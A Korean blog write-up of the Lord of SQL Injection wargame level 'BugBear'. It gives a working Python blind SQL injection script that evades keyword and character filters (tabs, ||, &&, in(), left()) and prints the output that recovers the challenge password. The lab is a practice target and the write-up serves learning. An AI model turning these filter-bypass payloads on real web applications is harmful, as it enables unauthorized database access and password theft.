WarGame/Lord of SQL Injection

[LOSI] Lord of SQL Injection Level 13 - BugBear

12번까지 열심히 올리고 한숨 자고 오니까 머리가 맑아진 기분이다. 역시 잠과 퇴근은 사랑이다. 개인적으로 몰라서 그런데 bugbear가 한국말로 뭐지? 바로 문제로 넘어가자

 

<출처 : Forgotten Realm wiki https://forgottenrealms.fandom.com/wiki/Bugbear >

* 이 문제를 해결하기 위한 코드는 python으로 작성되어있습니다. *

* 작성된 blind sql injection 코드에 대한 해설은 4번 orc에 자세하게 나와있습니다. *

2021.04.13 - [정보보안-실습/SQL Injection] - [LOSI] Lord of SQL Injection Level 4 - Orc

 

[LOSI] Lord of SQL Injection Level 4 - Orc

무서운 몬스터가 우리 앞을 막아섰다. 오크라고 불리는 이 몬스터는.... 심각하게 뚱뚱한 이 몬스터를 쉽게 이길수 없다는 생각이 든다. 일단 코드를 확인하자. * 주의 : 이번 포스팅은 Python을 기

tutoreducto.tistory.com


코드

이번 금지된 문자열은 다음과 같다.

_,., \, ', substr, ascii, =, or, and. space(공백), like, 0x 

아주 다채롭게도 막아놓았다. 정확한 pw를 구한다는 점과 먼저 hello admin이 출력된다는 점에서 blind sql injectino을 통한 공략이 가능할 거 같다. 

 

 


해결방법

Answer Url : los.rubiya.kr/chall/XXXX.php?pw=52dc3991

import string
from requests import get

if __name__ == "__main__" :
    url = ### BUGBEAR url ###
    cookie = dict(PHPSESSID = "### 자기의 PHPSESSID ###")
    length = 0
    password = ""
    letters = string.digits + string.ascii_letters

    print("### find length of pw ###")

    while(True) :
        param = "?no=12351235%09||length(pw)%09in("+str(length)+")--%20;"
        new_url = url+param
        rec = get(new_url,cookies=cookie)

        if(rec.text.find("Hello admin")>=0 ):
            print("find length of pw : "+str(length))
            break
        print(str(length)+" is wrong length")
        length+=1

    print("\n\n### find for pw ###")
    for i in range(1,length+1) :
        for a in letters :
            param = "?no=1234566%09||%09id%09in(%22admin%22)%09%26%26%09left(pw,"+str(i)+")%09in(%22"+(password+a)+"%22)--%20;"
            new_url = url+param

            rec = get(new_url,cookies=cookie)

            if(rec.text.find("Hello admin")>=0) :
                print("find for "+str(i)+"'s pw : "+a)
                password += a
                break

    print("finally found pw : "+password)
        

치환된 항목는 다음과 같으며, 출력은 아래와 같다.

공백 >> TAB(%09)
or >> 파이프(||)
and >> &&
등호 or like >> in(in 명령어는 항목이 in()의 파라미터 있으면 참이다.)
substr >> left를 이용한(기존에 구한 password에 검사할 문자열을 더해서 반복한다.)
### find length of pw ###
0 is wrong length
1 is wrong length
2 is wrong length
3 is wrong length
4 is wrong length
5 is wrong length
6 is wrong length
7 is wrong length
find length of pw : 8


### find for pw ###
find for 1's pw : 5
find for 2's pw : 2
find for 3's pw : d
find for 4's pw : c
find for 5's pw : 3
find for 6's pw : 9
find for 7's pw : 9
find for 8's pw : 1
finally find pw : 52dc3991

BugBear를 퇴치한 걸 축하한다.


여태까지 물리친 몬스터들의 공략법을 기억했다면, in을 사용하는 것 말고는 새로운 방법이 없었던 bugbear였다. 다음 관문에서 여러분들을 기다리겠다.